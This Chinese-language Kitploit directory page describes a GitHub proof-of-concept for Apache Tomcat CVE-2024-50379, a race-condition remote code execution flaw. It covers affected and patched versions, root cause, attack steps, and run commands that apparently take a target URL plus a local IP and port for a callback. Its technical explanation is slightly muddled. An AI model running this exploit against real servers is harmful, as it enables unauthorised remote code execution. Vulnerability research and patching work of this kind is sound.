Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/azilrababe/cve-2024-50379
漏洞分析漏洞利用Web应用程序漏洞利用论文与研究学习与教育
GitHubazilrababe/cve-2024-50379

CVE-2024-50379

Apache Tomcat CVE-2024-50379 技术分析,涵盖根本原因、利用条件、检测策略和缓解技术。

查看仓库
22个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Apache Tomcat CVE-2024-50379(TOCTOU 远程代码执行)

漏洞描述

此存储库提供了针对 Apache Tomcat 中 CVE-2024-50379 的概念验证(PoC)利用程序,该漏洞是一个时间检查-时间使用(TOCTOU)竞态条件,可导致远程代码执行(RCE)。

受影响的版本

  • Apache Tomcat 11.0.0-M1 至 11.0.0-M26
  • Apache Tomcat 10.1.0-M1 至 10.1.34
  • Apache Tomcat 9.0.0.M1 至 9.0.98

注意:如果 readonly 初始化参数设置为 false(默认值为 true),则此漏洞仅影响 Windows 系统。这是一种配置弱点与 CVE-2024-50379 相结合的情况。

漏洞根因

此漏洞由 JSP 编译缓存(org.apache.jasper.servlet.JspServlet)中的竞态条件引起。该问题源于不区分大小写的文件系统(例如 Windows 上的 NTFS)与 Tomcat 的大小写敏感缓存处理之间的不匹配。

攻击流程:

  1. 攻击者发送一个 JSP 文件的小写变体请求(例如 shell.jsp)
  2. 在 JSP 编译检查与缓存存储之间,存在一个时间窗口
  3. 攻击者利用此时间窗口将恶意 JSP 写入磁盘
  4. Tomcat 绕过缓存并编译恶意内容,从而导致任意代码执行

利用程序

此 PoC 利用两个不同 JSP 变体之间的竞态条件:

  • shell.jsp — 开发人员提供/授权的 JSP 文件
  • shell.jsp. — 利用 Windows 短文件名/尾部点变体来绕过检查

修复

Apache 已发布以下版本,其中包含对此 CVE 的修复:

  • Apache Tomcat 11.0.1
  • Apache Tomcat 10.1.35
  • Apache Tomcat 9.0.99

强烈建议更新至相应的补丁版本。

用法

前提条件:

  • 存在漏洞的 Apache Tomcat 版本(9.0.98 或更早版本,10.1.34 或更早版本,11.0.0-M26 或更早版本)
  • 在 Windows 上运行的 Tomcat
  • JSP 上传功能,或能够将文件写入 Web 根目录
  • readonly=false 配置

步骤:

root@kitploit:~
# 编译利用程序
javac ExploitCVE202450379.java

# 运行利用程序
java ExploitCVE202450379 <target-url> <local-ip> <local-port>

示例:

root@kitploit:~
java ExploitCVE202450379 http://192.168.1.100:8080/ 192.168.1.50 4444

法律免责声明

此工具仅用于教育目的。 未经明确许可对系统进行未经授权的访问是非法的。对于因使用此 PoC 而导致的任何不当使用或损害,作者不承担任何责任。

支持

如果您觉得此工具很有用,请考虑:

  • 给该存储库点个 Star(★)
  • 在 X/Twitter 上关注我
  • 贡献改进或新功能

致谢

  • 感谢 Y4tacker 对该漏洞的出色研究
  • 感谢 Apache Tomcat 安全团队 对该问题的快速处理

参考

  • NVD - CVE-2024-50379
  • Apache Tomcat 安全公告
  • MITRE CVE 详情
下载工具